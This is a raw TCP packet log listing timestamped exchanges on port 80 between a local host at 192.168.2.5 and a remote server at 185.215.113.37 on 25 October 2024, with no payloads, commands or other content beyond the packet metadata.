Oct 25, 2024 07:28:21.252782106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.252804995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.252815962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.252840042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.252870083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.252875090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.252880096 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.252908945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.252916098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.252942085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.252954006 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.252976894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.252985001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.253006935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.253021955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.253041029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.253048897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.253076077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.253086090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.253110886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.253120899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.253145933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.253155947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.253180981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.253187895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.253216028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.253225088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.253249884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.253262997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.253285885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.253308058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.253319025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.253324986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.253353119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.253361940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.253386021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.253396988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.253424883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.253431082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.253456116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.253470898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.253489971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.253496885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.253524065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.253540039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.253556967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.253570080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.253597021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.253602028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.253631115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.253640890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.253665924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.253674984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.253700018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.253710985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.253736019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.253741026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.253770113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.253779888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.253807068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.253814936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.253844976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.253849983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.253880978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.253890991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.253916025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.253920078 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.253952026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.253961086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.253983974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.253995895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.254018068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.254028082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.254055023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.254064083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.254090071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.254097939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.254125118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.254133940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.254159927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.254168987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.254194021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.254204988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.254228115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.254237890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.254266024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.254272938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.254301071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.254309893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.254336119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.254344940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.254370928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.254384041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.254405022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.254424095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.254439116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.254447937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.254472971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.254483938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.254508018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.254515886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.254539013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.254553080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.254573107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.254580975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.254606962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.254615068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.254640102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.254651070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.254678011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.254683971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.254713058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.254719973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.254749060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.254755020 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.254784107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.254796982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.254822016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.254828930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.254854918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.254868031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.254889965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.254898071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.254920006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.254934072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.254954100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.254964113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.254988909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.254998922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.255023003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.255033016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.255059004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.255065918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.255093098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.255103111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.255129099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.255136967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.255171061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.367532969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.367595911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.367650986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.367697001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.367703915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.367728949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.367739916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.367755890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.367770910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.367785931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.367813110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.367822886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.367877960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.367886066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.367923975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.367932081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.367966890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.367999077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.367999077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.368010044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.368038893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.368052959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.368098021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.368108034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.368156910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.368160963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.368211031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.368216991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.368263006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.368278027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.368297100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.368325949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.368339062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.368355989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.368406057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.368422985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.368443012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.368451118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.368474960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.368510008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.368510008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.368525982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.368577957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.368582964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.368679047 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.368685961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.368738890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.368745089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.368792057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.368794918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.368846893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.368863106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.368880987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.368902922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.368926048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.368936062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.368988037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.368999004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.369036913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.369040012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.369076014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.369091988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.369118929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.369132042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.369179010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.369183064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.369218111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.369229078 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.369268894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.369271994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.369309902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.369323969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.369376898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.369381905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.369430065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.369447947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.369461060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.369476080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.369512081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.369512081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.369559050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.369565010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.369600058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.369611025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.369635105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.369643927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.369668961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.369680882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.369704008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.369714975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.369735956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.369748116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.369770050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.369780064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.369805098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.369817972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.369839907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.369848967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.369884968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.369891882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.369926929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.369937897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.369970083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.369977951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.370011091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.370023966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.370062113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.370068073 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.370111942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.370112896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.370160103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.370171070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.370204926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.370217085 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.370239019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.370248079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.370273113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.370286942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.370306969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.370316029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.370357990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.370366096 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.370393991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.370404959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.370431900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.370436907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.370466948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.370475054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.370501041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.370510101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.370537043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.370544910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.370570898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.370583057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.370605946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.370613098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.370640993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.370651007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.370676041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.370683908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.370711088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.370718956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.370745897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.370754957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.370779991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.370790958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.370815992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.370825052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.370848894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.370858908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.370886087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.370893002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.370920897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.370932102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.370955944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.370965958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.370990038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.371001005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.371025085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.371032000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.371058941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.371068954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.371097088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.371103048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.371130943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.371143103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.371165037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.371172905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.371200085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.371210098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.371233940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.371244907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.371268034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.371279001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.371303082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.371309996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.371345997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.371354103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.371388912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.371398926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.371423006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.371433973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.371454000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.371467113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.371488094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.371500015 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.371522903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.371531963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.371556044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.371567965 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.371591091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.371598959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.371619940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.371635914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.371653080 CEST	80	49704	185.215.113.37	192.168.2.5
